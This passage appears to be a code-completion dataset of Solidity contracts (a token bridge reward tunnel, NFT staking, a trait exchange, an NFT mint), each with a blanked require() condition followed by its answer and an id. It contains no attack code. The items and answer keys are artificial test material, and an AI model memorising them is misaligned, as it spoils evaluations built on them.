tokenObj.mint(address(this), amount.sub(balanceOf));
}
//approve token transfer
tokenObj.approve(address(this), amount);
// transfer from tokens
IERC20(rootToken).safeTransferFrom(address(this), to, amount);
}
function _deployRootToken(
address childToken,
string memory name,
string memory symbol,
uint8 decimals
) internal returns (address) {
}
// check if address is contract
function _isContract(address _addr) private view returns (bool) {
}
function setGarageContract(address contractAddress) public {
}
function setRacingContract(address contractAddress) public {
}
function setNftContract(address _address) public {
}
//GET BALANCE FOR SINGLE TOKEN
function getClaimable(address _owner) public view returns (uint256) {
}
function rewardOnMint(address _user, uint256 _amount) external {
}
function transferTokens(address _from, address _to) external {
}
function sendClaimable(bytes memory data) public {
}
function removeClaimableTokens(address _user, uint256 _amount) internal {
}
//BUY UPGRADES
function useTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
function burnTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
struct Rewardees {
address owner;
}
function setLastUpdate(Rewardees[] memory _array) public {
}
function mintTokens(uint256 _amount, address rootToken) public {
}
}
| rootToChildTokens[rootToken]==childToken,"FxERC20RootTunnel: INVALID_MAPPING_ON_EXIT" | 108,786 | rootToChildTokens[rootToken]==childToken |
"Max claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Create2} from "../../lib/Create2.sol";
import {SafeMath} from "../../lib/SafeMath.sol";
import {FxERC20} from "../../wof_token/wof_token.sol";
import {FxBaseRootTunnel} from "../../tunnel/FxBaseRootTunnel.sol";
import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title FxMintableERC20RootTunnel
*/
interface IWorldOfFreight {
function balanceOG(address _user) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function mintedcount() external view returns (uint256);
}
contract FxMintableERC20RootTunnel is FxBaseRootTunnel, Create2 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4
bytes32 public constant DEPOSIT = keccak256("DEPOSIT");
bytes32 public constant SYNC = keccak256("SYNC");
address public deployer;
mapping(address => address) public rootToChildTokens;
address public rootTokenTemplate;
bytes32 public childTokenTemplateCodeHash;
event ClaimOnPoly(address indexed _from, uint256 _amount);
//NFT CONTRACT DATA
address public _garageContract;
address public _racingContract;
uint256 public BASE_RATE = 25000000000000000000;
uint256 public maxSupply = 912500000;
uint256 public ENDTIME = 1664582400;
uint256 public snapshotTime;
IWorldOfFreight public nftContract;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
address public deployedRoot;
constructor(
address _checkpointManager,
address _fxRoot,
address _rootTokenTemplate,
address _wofAddress
) FxBaseRootTunnel(_checkpointManager, _fxRoot) {
}
function deposit(
address rootToken,
address user,
uint256 amount,
bytes memory data
) public {
}
// exit processor
function _processMessageFromChild(bytes memory data) internal override {
}
function _deployRootToken(
address childToken,
string memory name,
string memory symbol,
uint8 decimals
) internal returns (address) {
}
// check if address is contract
function _isContract(address _addr) private view returns (bool) {
}
function setGarageContract(address contractAddress) public {
}
function setRacingContract(address contractAddress) public {
}
function setNftContract(address _address) public {
}
//GET BALANCE FOR SINGLE TOKEN
function getClaimable(address _owner) public view returns (uint256) {
}
function rewardOnMint(address _user, uint256 _amount) external {
require(msg.sender == address(nftContract), "Can't call this");
require(<FILL_ME>)
uint256 tokenId = nftContract.mintedcount();
uint256 time = block.timestamp;
if (lastUpdate[_user] == 0) {
lastUpdate[_user] = time;
}
if (tokenId < 2501) {
rewards[_user] = getClaimable(_user).add(500 ether);
} else {
rewards[_user] = getClaimable(_user);
}
lastUpdate[_user] = time;
}
function transferTokens(address _from, address _to) external {
}
function sendClaimable(bytes memory data) public {
}
function removeClaimableTokens(address _user, uint256 _amount) internal {
}
//BUY UPGRADES
function useTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
function burnTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
struct Rewardees {
address owner;
}
function setLastUpdate(Rewardees[] memory _array) public {
}
function mintTokens(uint256 _amount, address rootToken) public {
}
}
| IERC20(deployedRoot).totalSupply().add(_amount)<=maxSupply,"Max claimed" | 108,786 | IERC20(deployedRoot).totalSupply().add(_amount)<=maxSupply |
"Max claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Create2} from "../../lib/Create2.sol";
import {SafeMath} from "../../lib/SafeMath.sol";
import {FxERC20} from "../../wof_token/wof_token.sol";
import {FxBaseRootTunnel} from "../../tunnel/FxBaseRootTunnel.sol";
import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title FxMintableERC20RootTunnel
*/
interface IWorldOfFreight {
function balanceOG(address _user) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function mintedcount() external view returns (uint256);
}
contract FxMintableERC20RootTunnel is FxBaseRootTunnel, Create2 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4
bytes32 public constant DEPOSIT = keccak256("DEPOSIT");
bytes32 public constant SYNC = keccak256("SYNC");
address public deployer;
mapping(address => address) public rootToChildTokens;
address public rootTokenTemplate;
bytes32 public childTokenTemplateCodeHash;
event ClaimOnPoly(address indexed _from, uint256 _amount);
//NFT CONTRACT DATA
address public _garageContract;
address public _racingContract;
uint256 public BASE_RATE = 25000000000000000000;
uint256 public maxSupply = 912500000;
uint256 public ENDTIME = 1664582400;
uint256 public snapshotTime;
IWorldOfFreight public nftContract;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
address public deployedRoot;
constructor(
address _checkpointManager,
address _fxRoot,
address _rootTokenTemplate,
address _wofAddress
) FxBaseRootTunnel(_checkpointManager, _fxRoot) {
}
function deposit(
address rootToken,
address user,
uint256 amount,
bytes memory data
) public {
}
// exit processor
function _processMessageFromChild(bytes memory data) internal override {
}
function _deployRootToken(
address childToken,
string memory name,
string memory symbol,
uint8 decimals
) internal returns (address) {
}
// check if address is contract
function _isContract(address _addr) private view returns (bool) {
}
function setGarageContract(address contractAddress) public {
}
function setRacingContract(address contractAddress) public {
}
function setNftContract(address _address) public {
}
//GET BALANCE FOR SINGLE TOKEN
function getClaimable(address _owner) public view returns (uint256) {
}
function rewardOnMint(address _user, uint256 _amount) external {
}
function transferTokens(address _from, address _to) external {
}
function sendClaimable(bytes memory data) public {
}
function removeClaimableTokens(address _user, uint256 _amount) internal {
}
//BUY UPGRADES
function useTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
function burnTokens(
address _from,
uint256 _amount,
address rootToken
) external {
}
struct Rewardees {
address owner;
}
function setLastUpdate(Rewardees[] memory _array) public {
}
function mintTokens(uint256 _amount, address rootToken) public {
require(<FILL_ME>)
require(_amount <= getClaimable(msg.sender), "You do not have this much");
rewards[msg.sender] = getClaimable(msg.sender);
uint256 time = block.timestamp;
rewards[msg.sender] = rewards[msg.sender].sub(_amount);
lastUpdate[msg.sender] = time;
FxERC20 tokenObj = FxERC20(rootToken);
tokenObj.mint(msg.sender, _amount);
}
}
| IERC20(rootToken).totalSupply().add(_amount)<=maxSupply,"Max claimed" | 108,786 | IERC20(rootToken).totalSupply().add(_amount)<=maxSupply |
"10FTGiraffes: Not owner" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.4;
import "./GRFToken.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TenFTGiraffesStake is Ownable {
// uint256 public totalStaked;
uint256 private rewardsPerDay = 10000000000000000000;//10 ether
// struct to store a stake's token, owner, and earning values
///NEWWW
mapping(uint256 => uint256) private stakeStarted;
mapping(uint256 => uint256) private stakingTotal;
bool public stakeOpen = false;
event Staked(uint256 indexed tokenId);
event Unstaked(uint256 indexed tokenId);
event Expelled(uint256 indexed tokenId);
IERC721Enumerable nft;
GRF token;
constructor(IERC721Enumerable _nft, GRF _token) {
}
function toggleStaking(uint256[] calldata tokenIds) external {
}
function _toggleStaking(address account,uint256 tokenId) internal{
require(stakeOpen, "10FTGiraffes: staking closed");
require(<FILL_ME>)
uint256 start = stakeStarted[tokenId];
if (start == 0) {
stakeStarted[tokenId] = block.timestamp;
emit Staked(tokenId);
} else {
stakingTotal[tokenId] += block.timestamp - start;
stakeStarted[tokenId] = 0;
emit Unstaked(tokenId);
}
}
function claim(uint256[] calldata tokenIds) external {
}
function _claimforTokens(address account,uint256[] calldata tokenIds) internal {
}
function earningInfo(uint256 tokenId) external view returns (
bool staking,
uint256 current,
uint256 total,
uint256 start
) {
}
function earningInfoForTokens(uint256[] calldata tokenIds) external view returns (
bool[] memory staking,
uint256[] memory currents,
uint256 totalforTokens,
uint256[] memory starts
) {
}
function setStakingOpen(bool open) external onlyOwner {
}
function expelFromStake(uint256 tokenId) external onlyOwner {
}
}
| nft.ownerOf(tokenId)==account,"10FTGiraffes: Not owner" | 108,796 | nft.ownerOf(tokenId)==account |
"10FT Giraffes: not staking" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.4;
import "./GRFToken.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TenFTGiraffesStake is Ownable {
// uint256 public totalStaked;
uint256 private rewardsPerDay = 10000000000000000000;//10 ether
// struct to store a stake's token, owner, and earning values
///NEWWW
mapping(uint256 => uint256) private stakeStarted;
mapping(uint256 => uint256) private stakingTotal;
bool public stakeOpen = false;
event Staked(uint256 indexed tokenId);
event Unstaked(uint256 indexed tokenId);
event Expelled(uint256 indexed tokenId);
IERC721Enumerable nft;
GRF token;
constructor(IERC721Enumerable _nft, GRF _token) {
}
function toggleStaking(uint256[] calldata tokenIds) external {
}
function _toggleStaking(address account,uint256 tokenId) internal{
}
function claim(uint256[] calldata tokenIds) external {
}
function _claimforTokens(address account,uint256[] calldata tokenIds) internal {
}
function earningInfo(uint256 tokenId) external view returns (
bool staking,
uint256 current,
uint256 total,
uint256 start
) {
}
function earningInfoForTokens(uint256[] calldata tokenIds) external view returns (
bool[] memory staking,
uint256[] memory currents,
uint256 totalforTokens,
uint256[] memory starts
) {
}
function setStakingOpen(bool open) external onlyOwner {
}
function expelFromStake(uint256 tokenId) external onlyOwner {
require(<FILL_ME>)
stakingTotal[tokenId] += block.timestamp - stakeStarted[tokenId];
stakeStarted[tokenId] = 0;
emit Staked(tokenId);
emit Expelled(tokenId);
}
}
| stakeStarted[tokenId]!=0,"10FT Giraffes: not staking" | 108,796 | stakeStarted[tokenId]!=0 |
"whileTreansacting(): Contract is already transaction" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract TraitExchange is Ownable, ERC721Holder, ERC1155Holder {
event OfferCreated(StructOffer);
event Status(StructOffer, OfferStatus);
event ExecludedFromFees(address contractAddress);
event IncludedFromFees(address contractAddress);
event FeesClaimedByAdmin(uint256 feesValue);
event ExchangeFeesUpdated(uint256 prevFees, uint256 updatedFees);
enum OfferStatus {
pending,
withdrawan,
accepted,
rejected
}
struct StructERC20Value {
address erc20Contract;
uint256 erc20Value;
}
struct StructERC721Value {
address erc721Contract;
uint256 erc721Id;
}
struct StructERC1155Value {
address erc1155Contract;
uint256 erc1155Id;
uint256 amount;
bytes data;
}
struct StructOffer {
uint256 offerId;
address sender;
address receiver;
uint256 offeredETH;
uint256 requestedETH;
StructERC20Value offeredERC20;
StructERC20Value requestedERC20;
StructERC721Value[] offeredERC721;
StructERC721Value[] requestedERC721;
StructERC1155Value[] offeredERC1155;
StructERC1155Value[] requestedERC1155;
uint256 timeStamp;
uint256 validDuration;
OfferStatus status;
}
struct StructAccount {
uint256[] offersReceived;
uint256[] offersCreated;
}
uint256 private _offerIds;
address[] private _excludedFeesContracts;
uint256 private _fees;
uint256 private _feesCollected;
uint256 private _feesClaimed;
bool private _isTransacting;
mapping(uint256 => StructOffer) private _mappingOffer;
mapping(address => StructAccount) private _mappingAccounts;
constructor(uint256 _feesInWei) {
}
receive() external payable {}
modifier noReentrancy() {
require(<FILL_ME>)
_isTransacting = true;
_;
_isTransacting = false;
}
modifier isOfferValidForWithdrawal(uint256 _offerId) {
}
modifier isValidOffer(uint256 _offerId) {
}
modifier isReceiver(uint256 _offerId) {
}
function createOffer(StructOffer memory _structOffer)
external
payable
returns (uint256 offerId)
{
}
function acceptOffer(uint256 _offerId)
external
payable
noReentrancy
isValidOffer(_offerId)
isReceiver(_offerId)
{
}
function rejectOffer(uint256 _offerId)
external
noReentrancy
isValidOffer(_offerId)
isReceiver(_offerId)
{
}
function withdrawOffer(uint256 _offerId)
external
noReentrancy
isOfferValidForWithdrawal(_offerId)
{
}
function getOfferById(uint256 _offerId)
public
view
returns (StructOffer memory)
{
}
function userOffers(address _userAddress)
external
view
returns (
uint256[] memory offersCreated,
uint256[] memory offersReceived
)
{
}
function allOffersCount() external view returns (uint256 offersCount) {
}
function _isBalanceExcludedFromFees(address _userAddress)
private
view
returns (bool _isExcluded)
{
}
function getFeesExcludedList() external view returns (address[] memory) {
}
function includeInFees(address _contractAddress) external onlyOwner {
}
function excludeFromExchangeFees(address _contractAddress)
external
onlyOwner
{
}
function getFees() external view returns (uint256) {
}
function setFees(uint256 _feesInWei) external onlyOwner {
}
function getFeesCollected()
external
view
returns (
uint256 feesCollected,
uint256 feesClaimed,
uint256 feesPendingToClaim
)
{
}
function claimFees() external noReentrancy onlyOwner {
}
}
| !_isTransacting,"whileTreansacting(): Contract is already transaction" | 108,814 | !_isTransacting |
"Access nonce not owned" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/**
*
* _______/\\\\\_______/\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\_____/\\\_____/\\\\\\\\\\__
* _____/\\\///\\\____\/\\\/////////\\\_\/\\\///////////__\/\\\\\\___\/\\\___/\\\///////\\\_
* ___/\\\/__\///\\\__\/\\\_______\/\\\_\/\\\_____________\/\\\/\\\__\/\\\__\///______/\\\__
* __/\\\______\//\\\_\/\\\\\\\\\\\\\/__\/\\\\\\\\\\\_____\/\\\//\\\_\/\\\_________/\\\//___
* _\/\\\_______\/\\\_\/\\\/////////____\/\\\///////______\/\\\\//\\\\/\\\________\////\\\__
* _\//\\\______/\\\__\/\\\_____________\/\\\_____________\/\\\_\//\\\/\\\___________\//\\\_
* __\///\\\__/\\\____\/\\\_____________\/\\\_____________\/\\\__\//\\\\\\__/\\\______/\\\__
* ____\///\\\\\/_____\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\___\//\\\\\_\///\\\\\\\\\/___
* ______\/////_______\///______________\///////////////__\///_____\/////____\/////////_____
* STANDARD_MINTING_FOUNDATION______________________________________________________________
*
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "contracts/BaseToken/BaseTokenV2.sol";
import "contracts/Mixins/DistributableV1.sol";
import "contracts/Mixins/AuthorizerV1.sol";
/**
* @title BeachHeads ERC721A Smart Contract
*/
contract BeachHeads is
ERC721A,
ERC2981,
BaseTokenV2,
DistributableV1,
AuthorizerV1
{
constructor(
string memory contractURI_,
string memory baseURI_,
address authorizerAddress_,
address distributorAddress_
)
ERC721A("BeachHeads", "HEAD")
ERC2981()
BaseTokenV2(contractURI_)
DistributableV1(distributorAddress_)
AuthorizerV1(authorizerAddress_)
{
}
/** MINTING LIMITS **/
uint256 public constant MINT_LIMIT_PER_ADDRESS = 1;
uint256 public constant MAX_MULTIMINT = 1;
/** MINTING **/
uint256 public constant MAX_SUPPLY = 500;
uint256 public constant PRICE = 0 ether;
mapping(uint256 => bool) public qualifiedNonceList;
mapping(address => uint256) public qualifiedWalletList;
/**
* @dev Open3 Qualified Mint, triggers a mint based on the amount to the sender
*/
function qualifiedMint(
uint256 amount_,
bytes memory signature_,
uint256 nonce_
) external payable nonReentrant onlySaleIsActive {
require(<FILL_ME>)
require(amount_ <= MAX_MULTIMINT, "Exceeds max mints per transaction");
require(
qualifiedWalletList[msg.sender] + amount_ <= MINT_LIMIT_PER_ADDRESS,
"Minting limit exceeded"
);
require(totalSupply() + amount_ <= MAX_SUPPLY, "Exceeds max supply");
require(PRICE * amount_ <= msg.value, "Insufficient payment");
requireRecovery(msg.sender, nonce_, signature_);
qualifiedNonceList[nonce_] = true;
qualifiedWalletList[msg.sender] += amount_;
_safeMint(msg.sender, amount_);
}
/**
* @dev Owner of the contract can mints to the address based on the amount.
*/
function ownerMint(address address_, uint256 amount_) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {
}
function burn(uint256 tokenId) external {
}
/** URI HANDLING **/
function _startTokenId() internal view virtual override returns (uint256) {
}
string private customBaseURI;
/**
* @dev Sets the base URI.
*/
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
/**
* @dev Gets the base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !qualifiedNonceList[nonce_],"Access nonce not owned" | 108,817 | !qualifiedNonceList[nonce_] |
"Minting limit exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/**
*
* _______/\\\\\_______/\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\_____/\\\_____/\\\\\\\\\\__
* _____/\\\///\\\____\/\\\/////////\\\_\/\\\///////////__\/\\\\\\___\/\\\___/\\\///////\\\_
* ___/\\\/__\///\\\__\/\\\_______\/\\\_\/\\\_____________\/\\\/\\\__\/\\\__\///______/\\\__
* __/\\\______\//\\\_\/\\\\\\\\\\\\\/__\/\\\\\\\\\\\_____\/\\\//\\\_\/\\\_________/\\\//___
* _\/\\\_______\/\\\_\/\\\/////////____\/\\\///////______\/\\\\//\\\\/\\\________\////\\\__
* _\//\\\______/\\\__\/\\\_____________\/\\\_____________\/\\\_\//\\\/\\\___________\//\\\_
* __\///\\\__/\\\____\/\\\_____________\/\\\_____________\/\\\__\//\\\\\\__/\\\______/\\\__
* ____\///\\\\\/_____\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\___\//\\\\\_\///\\\\\\\\\/___
* ______\/////_______\///______________\///////////////__\///_____\/////____\/////////_____
* STANDARD_MINTING_FOUNDATION______________________________________________________________
*
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "contracts/BaseToken/BaseTokenV2.sol";
import "contracts/Mixins/DistributableV1.sol";
import "contracts/Mixins/AuthorizerV1.sol";
/**
* @title BeachHeads ERC721A Smart Contract
*/
contract BeachHeads is
ERC721A,
ERC2981,
BaseTokenV2,
DistributableV1,
AuthorizerV1
{
constructor(
string memory contractURI_,
string memory baseURI_,
address authorizerAddress_,
address distributorAddress_
)
ERC721A("BeachHeads", "HEAD")
ERC2981()
BaseTokenV2(contractURI_)
DistributableV1(distributorAddress_)
AuthorizerV1(authorizerAddress_)
{
}
/** MINTING LIMITS **/
uint256 public constant MINT_LIMIT_PER_ADDRESS = 1;
uint256 public constant MAX_MULTIMINT = 1;
/** MINTING **/
uint256 public constant MAX_SUPPLY = 500;
uint256 public constant PRICE = 0 ether;
mapping(uint256 => bool) public qualifiedNonceList;
mapping(address => uint256) public qualifiedWalletList;
/**
* @dev Open3 Qualified Mint, triggers a mint based on the amount to the sender
*/
function qualifiedMint(
uint256 amount_,
bytes memory signature_,
uint256 nonce_
) external payable nonReentrant onlySaleIsActive {
require(!qualifiedNonceList[nonce_], "Access nonce not owned");
require(amount_ <= MAX_MULTIMINT, "Exceeds max mints per transaction");
require(<FILL_ME>)
require(totalSupply() + amount_ <= MAX_SUPPLY, "Exceeds max supply");
require(PRICE * amount_ <= msg.value, "Insufficient payment");
requireRecovery(msg.sender, nonce_, signature_);
qualifiedNonceList[nonce_] = true;
qualifiedWalletList[msg.sender] += amount_;
_safeMint(msg.sender, amount_);
}
/**
* @dev Owner of the contract can mints to the address based on the amount.
*/
function ownerMint(address address_, uint256 amount_) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {
}
function burn(uint256 tokenId) external {
}
/** URI HANDLING **/
function _startTokenId() internal view virtual override returns (uint256) {
}
string private customBaseURI;
/**
* @dev Sets the base URI.
*/
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
/**
* @dev Gets the base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
}
| qualifiedWalletList[msg.sender]+amount_<=MINT_LIMIT_PER_ADDRESS,"Minting limit exceeded" | 108,817 | qualifiedWalletList[msg.sender]+amount_<=MINT_LIMIT_PER_ADDRESS |
"Exceeds max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/**
*
* _______/\\\\\_______/\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\_____/\\\_____/\\\\\\\\\\__
* _____/\\\///\\\____\/\\\/////////\\\_\/\\\///////////__\/\\\\\\___\/\\\___/\\\///////\\\_
* ___/\\\/__\///\\\__\/\\\_______\/\\\_\/\\\_____________\/\\\/\\\__\/\\\__\///______/\\\__
* __/\\\______\//\\\_\/\\\\\\\\\\\\\/__\/\\\\\\\\\\\_____\/\\\//\\\_\/\\\_________/\\\//___
* _\/\\\_______\/\\\_\/\\\/////////____\/\\\///////______\/\\\\//\\\\/\\\________\////\\\__
* _\//\\\______/\\\__\/\\\_____________\/\\\_____________\/\\\_\//\\\/\\\___________\//\\\_
* __\///\\\__/\\\____\/\\\_____________\/\\\_____________\/\\\__\//\\\\\\__/\\\______/\\\__
* ____\///\\\\\/_____\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\___\//\\\\\_\///\\\\\\\\\/___
* ______\/////_______\///______________\///////////////__\///_____\/////____\/////////_____
* STANDARD_MINTING_FOUNDATION______________________________________________________________
*
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "contracts/BaseToken/BaseTokenV2.sol";
import "contracts/Mixins/DistributableV1.sol";
import "contracts/Mixins/AuthorizerV1.sol";
/**
* @title BeachHeads ERC721A Smart Contract
*/
contract BeachHeads is
ERC721A,
ERC2981,
BaseTokenV2,
DistributableV1,
AuthorizerV1
{
constructor(
string memory contractURI_,
string memory baseURI_,
address authorizerAddress_,
address distributorAddress_
)
ERC721A("BeachHeads", "HEAD")
ERC2981()
BaseTokenV2(contractURI_)
DistributableV1(distributorAddress_)
AuthorizerV1(authorizerAddress_)
{
}
/** MINTING LIMITS **/
uint256 public constant MINT_LIMIT_PER_ADDRESS = 1;
uint256 public constant MAX_MULTIMINT = 1;
/** MINTING **/
uint256 public constant MAX_SUPPLY = 500;
uint256 public constant PRICE = 0 ether;
mapping(uint256 => bool) public qualifiedNonceList;
mapping(address => uint256) public qualifiedWalletList;
/**
* @dev Open3 Qualified Mint, triggers a mint based on the amount to the sender
*/
function qualifiedMint(
uint256 amount_,
bytes memory signature_,
uint256 nonce_
) external payable nonReentrant onlySaleIsActive {
require(!qualifiedNonceList[nonce_], "Access nonce not owned");
require(amount_ <= MAX_MULTIMINT, "Exceeds max mints per transaction");
require(
qualifiedWalletList[msg.sender] + amount_ <= MINT_LIMIT_PER_ADDRESS,
"Minting limit exceeded"
);
require(<FILL_ME>)
require(PRICE * amount_ <= msg.value, "Insufficient payment");
requireRecovery(msg.sender, nonce_, signature_);
qualifiedNonceList[nonce_] = true;
qualifiedWalletList[msg.sender] += amount_;
_safeMint(msg.sender, amount_);
}
/**
* @dev Owner of the contract can mints to the address based on the amount.
*/
function ownerMint(address address_, uint256 amount_) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {
}
function burn(uint256 tokenId) external {
}
/** URI HANDLING **/
function _startTokenId() internal view virtual override returns (uint256) {
}
string private customBaseURI;
/**
* @dev Sets the base URI.
*/
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
/**
* @dev Gets the base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+amount_<=MAX_SUPPLY,"Exceeds max supply" | 108,817 | totalSupply()+amount_<=MAX_SUPPLY |
"Insufficient payment" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/**
*
* _______/\\\\\_______/\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\__/\\\\\_____/\\\_____/\\\\\\\\\\__
* _____/\\\///\\\____\/\\\/////////\\\_\/\\\///////////__\/\\\\\\___\/\\\___/\\\///////\\\_
* ___/\\\/__\///\\\__\/\\\_______\/\\\_\/\\\_____________\/\\\/\\\__\/\\\__\///______/\\\__
* __/\\\______\//\\\_\/\\\\\\\\\\\\\/__\/\\\\\\\\\\\_____\/\\\//\\\_\/\\\_________/\\\//___
* _\/\\\_______\/\\\_\/\\\/////////____\/\\\///////______\/\\\\//\\\\/\\\________\////\\\__
* _\//\\\______/\\\__\/\\\_____________\/\\\_____________\/\\\_\//\\\/\\\___________\//\\\_
* __\///\\\__/\\\____\/\\\_____________\/\\\_____________\/\\\__\//\\\\\\__/\\\______/\\\__
* ____\///\\\\\/_____\/\\\_____________\/\\\\\\\\\\\\\\\_\/\\\___\//\\\\\_\///\\\\\\\\\/___
* ______\/////_______\///______________\///////////////__\///_____\/////____\/////////_____
* STANDARD_MINTING_FOUNDATION______________________________________________________________
*
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Royalty.sol";
import "contracts/BaseToken/BaseTokenV2.sol";
import "contracts/Mixins/DistributableV1.sol";
import "contracts/Mixins/AuthorizerV1.sol";
/**
* @title BeachHeads ERC721A Smart Contract
*/
contract BeachHeads is
ERC721A,
ERC2981,
BaseTokenV2,
DistributableV1,
AuthorizerV1
{
constructor(
string memory contractURI_,
string memory baseURI_,
address authorizerAddress_,
address distributorAddress_
)
ERC721A("BeachHeads", "HEAD")
ERC2981()
BaseTokenV2(contractURI_)
DistributableV1(distributorAddress_)
AuthorizerV1(authorizerAddress_)
{
}
/** MINTING LIMITS **/
uint256 public constant MINT_LIMIT_PER_ADDRESS = 1;
uint256 public constant MAX_MULTIMINT = 1;
/** MINTING **/
uint256 public constant MAX_SUPPLY = 500;
uint256 public constant PRICE = 0 ether;
mapping(uint256 => bool) public qualifiedNonceList;
mapping(address => uint256) public qualifiedWalletList;
/**
* @dev Open3 Qualified Mint, triggers a mint based on the amount to the sender
*/
function qualifiedMint(
uint256 amount_,
bytes memory signature_,
uint256 nonce_
) external payable nonReentrant onlySaleIsActive {
require(!qualifiedNonceList[nonce_], "Access nonce not owned");
require(amount_ <= MAX_MULTIMINT, "Exceeds max mints per transaction");
require(
qualifiedWalletList[msg.sender] + amount_ <= MINT_LIMIT_PER_ADDRESS,
"Minting limit exceeded"
);
require(totalSupply() + amount_ <= MAX_SUPPLY, "Exceeds max supply");
require(<FILL_ME>)
requireRecovery(msg.sender, nonce_, signature_);
qualifiedNonceList[nonce_] = true;
qualifiedWalletList[msg.sender] += amount_;
_safeMint(msg.sender, amount_);
}
/**
* @dev Owner of the contract can mints to the address based on the amount.
*/
function ownerMint(address address_, uint256 amount_) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {
}
function burn(uint256 tokenId) external {
}
/** URI HANDLING **/
function _startTokenId() internal view virtual override returns (uint256) {
}
string private customBaseURI;
/**
* @dev Sets the base URI.
*/
function setBaseURI(string memory customBaseURI_) external onlyOwner {
}
/**
* @dev Gets the base URI.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
}
| PRICE*amount_<=msg.value,"Insufficient payment" | 108,817 | PRICE*amount_<=msg.value |
"ERC20: decreased allowance below zero" | // https://t.me/OneTrueCryptoErc
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
